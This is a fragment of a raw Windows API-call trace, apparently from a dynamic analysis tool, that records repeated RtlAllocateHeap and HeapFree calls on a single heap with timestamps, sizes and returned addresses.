RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.083] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.083] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.085] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.085] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.086] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.086] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.088] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.090] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.091] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) 